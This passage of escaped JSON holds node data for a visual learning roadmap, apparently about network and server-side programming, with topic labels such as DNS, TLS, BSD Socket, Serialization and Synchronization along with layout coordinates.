\"bYb7nA-Vn9e6VtdbUT3tq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 451.5434878760507,\n        \"y\": 1112.9443359375\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Routing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 86,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 86,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 451.5434878760507,\n        \"y\": 1112.9443359375\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 86,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"r2OeI7YC1BLLfctC8q69W\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 293.0434878760507,\n        \"y\": 816.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Transactions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 245,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 293.0434878760507,\n        \"y\": 816.9443302389855\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 245,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JI_wUdT2hjsrvbIhLvHcT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 35.043487876050676,\n        \"y\": 817.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ARP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 66,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 66,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 35.043487876050676,\n        \"y\": 817.9443302389855\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 66,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yNytLrQAMKBw4t73YRL3J\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 104.04348787605068,\n        \"y\": 817.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DNS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 104.04348787605068,\n        \"y\": 817.9443302389855\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aTHJh-xw8soCxC1bIDdXm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 168.04348787605068,\n        \"y\": 817.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DHCP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 168.04348787605068,\n        \"y\": 817.9443302389855\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NH2eQ1_nij1icTgoO027b\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 293.0434878760507,\n        \"y\": 869.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Category\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"qkO0s9zR0sAnjTRWcrLQY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 245,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 293.0434878760507,\n        \"y\": 869.9443302389855\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 245,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pHVB0K8Vtk3ToD6n_f1wv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 168.04348787605068,\n        \"y\": 870.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"IPv4\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 168.04348787605068,\n        \"y\": 870.9443302389855\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TqBlAMfhARhlJed6xD7eg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 104.04348787605068,\n        \"y\": 870.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"IPv6\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FX8ASd-QzTUFDHzBB93WK\"\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 104.04348787605068,\n        \"y\": 870.9443302389855\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qkO0s9zR0sAnjTRWcrLQY\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 293.0434878760507,\n        \"y\": 922.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Security\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 245,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 293.0434878760507,\n        \"y\": 922.9443302389855\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 245,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FX8ASd-QzTUFDHzBB93WK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 168.04348787605068,\n        \"y\": 922.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TLS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 168.04348787605068,\n        \"y\": 922.9443302389855\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6ilqzjvI4J1pUCmTJ33PA\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -219.23195037554086,\n        \"y\": 817.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Programming Languages\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -219.23195037554086,\n        \"y\": 817.9443302389855\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"E4H3hniIW6hKpH3Qr--N5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -216.23195037554086,\n        \"y\": 952.4443302389858\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"C/C++\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 116,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 116,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -216.23195037554086,\n        \"y\": 952.4443302389858\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 116,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DuyUc9a-47Uz03yr4aeyg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -95.23195037554086,\n        \"y\": 899.4443302389858\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"C#\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -95.23195037554086,\n        \"y\": 899.4443302389858\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LG8JPL1po-gEs1V5JyC8F\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -216.23195037554086,\n        \"y\": 899.4443302389858\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Java\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 116,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 116,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -216.23195037554086,\n        \"y\": 899.4443302389858\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 116,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QGtGx5LBEWa1DD3Y7ztUy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -95.23195037554086,\n        \"y\": 952.4443302389858\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Erlang\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"d5iQYn97vuoxJnCFGPdOa\"\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -95.23195037554086,\n        \"y\": 952.4443302389858\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ufufnULqsglE5VhEIAdSI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -216.23195037554086,\n        \"y\": 1005.4443302389858\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JavaScript\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 116,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 116,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -216.23195037554086,\n        \"y\": 1005.4443302389858\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 116,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"d5iQYn97vuoxJnCFGPdOa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -95.23195037554086,\n        \"y\": 1005.4443302389859\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Go\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -95.23195037554086,\n        \"y\": 1005.4443302389859\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HvpuFTCknHPhnFkhmhRc4\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -515.95654296875,\n        \"y\": 971.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Socket Programming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3QSLUMKD0G08N3MIb1cG7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -515.95654296875,\n        \"y\": 971.9443302389855\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"H21PanCggDfQt34-JzgfO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -515.95654296875,\n        \"y\": 763.9443359375\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Byte Manipulation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -515.95654296875,\n        \"y\": 763.9443359375\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SBA7pa9o0AM0ZEBepd7UM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -515.95654296875,\n        \"y\": 816.9443359375\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Address Conversion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -515.95654296875,\n        \"y\": 816.9443359375\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OAyMj6uLSv1yJ87YAjyZu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -515.95654296875,\n        \"y\": 869.9443359375\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Descriptor\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -515.95654296875,\n        \"y\": 869.9443359375\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"a2pcxVTGdAPw8aLvdr19M\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -481.45654296875,\n        \"y\": 1078.9443359375\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"API\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -481.45654296875,\n        \"y\": 1078.9443359375\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"U_tZFM80W3xJx8jj4skCr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -481.45654296875,\n        \"y\": 1131.9443359375\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"BSD Socket\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -481.45654296875,\n        \"y\": 1131.9443359375\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GfTXffisLyQgp66zcQ7Py\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -481.45654296875,\n        \"y\": 1184.9443359375\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Winsock\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -481.45654296875,\n        \"y\": 1184.9443359375\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TS6dz61rUSxm-SqmK6JKe\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -217.23195037554086,\n        \"y\": 1081.9443359375\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Serialization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3QSLUMKD0G08N3MIb1cG7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -217.23195037554086,\n        \"y\": 1081.9443359375\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"y0ZJQQfi8Qx6sB4WnZlP5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -216.95654296875,\n        \"y\": 1166.9443359375\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JSON\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -216.95654296875,\n        \"y\": 1166.9443359375\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"v43K6srds7m5SQFqNaY0T\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -216.95654296875,\n        \"y\": 1219.9443359375\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"XML\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -216.95654296875,\n        \"y\": 1219.9443359375\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uHcUSVLz_2-Usk6ckSvwr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -112.95654296875,\n        \"y\": 1219.9443359375\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"YAML\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 102,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 102,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -112.95654296875,\n        \"y\": 1219.9443359375\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 102,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"l8iEC3g0ICSfmIE1MxcUl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -112.95654296875,\n        \"y\": 1166.9443359375\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TOML\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 102,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 102,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -112.95654296875,\n        \"y\": 1166.9443359375\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 102,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"w2zbab_6Gxw6AWS0N759U\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -217.23195037554086,\n        \"y\": 1274.9443359375\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Protobuf\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -217.23195037554086,\n        \"y\": 1274.9443359375\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3QSLUMKD0G08N3MIb1cG7\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 53.084767678339915,\n        \"y\": 1224.9719487880939\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Multithreading\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 197,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 53.084767678339915,\n        \"y\": 1224.9719487880939\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 197,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"idmrgKgVWVLZYANbXiZnS\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 321.20614329103375,\n        \"y\": 1383.6810870203947\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Synchronization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"b\"\n        },\n        \"oldId\": \"cw7WdFfL5HpeZ_n8wYk2t\"\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 321.20614329103375,\n        \"y\": 1383.6810870203947\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6k25amPkU9lnZ7FMNn_T6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 321.20614329103375,\n        \"y\": 1542.6810870203947\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Barrier\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 321.20614329103375,\n        \"y\": 1542.6810870203947\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lVXfA_oZr82mFfBvLnnRK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 321.20614329103375,\n        \"y\": 1489.6810870203947\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Spinlock\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xR6pERldq4wPl9GVLHAhT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 321.20614329103375,\n        \"y\": 1489.6810870203947\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"G_BEJKkJ1_Nc43aosy_iS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 321.20614329103375,\n        \"y\": 1648.6810870203947\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Mutex\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        },\n        \"oldId\": \"zbIbPlqTNSbJUkqH9iLQv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 206,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 321.20614329103375,\n        \"y\": 1648.6810870203947\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DYvzGc_r0SlOArPPc1gNI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 172.56275416291476,\n        \"y\": 1648.6810870203947\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Semaphore\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Yw2wS2ZcJNeApH7LqNMv3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 118,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 118,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 172.56275416291476,\n        \"y\": 1648.6810870203947\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        